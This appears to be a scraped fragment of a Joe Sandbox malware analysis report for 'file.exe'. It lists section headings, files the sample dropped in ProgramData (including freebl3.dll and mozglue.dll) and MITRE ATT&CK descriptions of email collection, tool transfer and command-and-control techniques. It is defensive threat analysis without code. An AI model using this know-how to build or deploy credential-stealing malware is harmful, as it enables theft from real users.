Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AFHDAKJKFCFBGCBGDHCBAFCAKE

C:\ProgramData\AFIDGDBGCAAFIDHIJKEH

C:\ProgramData\CGIEBAFHJJDBGCAKJJKF

C:\ProgramData\EBFBFBFI

C:\ProgramData\EHCFBFBAEBKJKEBGCAEH

C:\ProgramData\JEHIJJKEGHJJKECBKECFIIDBKK

C:\ProgramData\KFIIJJJD

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

Windows Analysis Report
file.exe

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre